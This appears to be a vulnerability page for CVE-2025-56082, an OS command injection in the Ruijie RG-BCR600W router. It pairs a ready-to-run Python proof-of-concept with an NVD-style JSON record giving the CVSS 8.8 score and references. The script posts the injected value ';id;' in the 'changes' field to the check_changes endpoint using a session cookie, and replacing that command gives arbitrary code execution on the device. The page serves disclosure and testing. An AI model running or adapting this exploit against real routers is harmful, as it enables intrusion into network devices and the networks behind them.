CVE-2025-56082

import requests # CVE-2025-56082 PoC - Ruijie RG-BCR600W OS Command Injection # Target: Ruijie RG-BCR RG-BCR600W # Endpoint: /cgi-bin/luci/admin/common/check_changes target_ip = "192.168.1.1" # Replace with target device IP url = f"http://{target_ip}/cgi-bin/luci/admin/common/check_changes" # Authentication headers (Low privilege account required) cookies = { "sysauth": "<your_session_cookie>" } # Malicious payload to execute 'id' command payload = { "changes": ";id;" } try: response = requests.post(url, data=payload, cookies=cookies, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2025-56082", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.297", "lastModified": "2025-12-26T14:43:32.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the check_changes in file /usr/lib/lua/luci/controller/admin/common.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56FD45A2-17CF-490C-AB07-9D5198A022B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:*", "matchCriteriaId": "F1DCDE78-994A-48E2-84E2-CD533863AC18"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Evvem8Mw6SlNh-ZJpY_9SAsBq2iDi88TFdFdA1Am3PdfCQ?e=YeLYxb", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EfCFw0RRV0hJvpV0rBLvTvABtWGVbrHzIPwPyku7phQ3Dg?e=GMqLpV", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56082.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}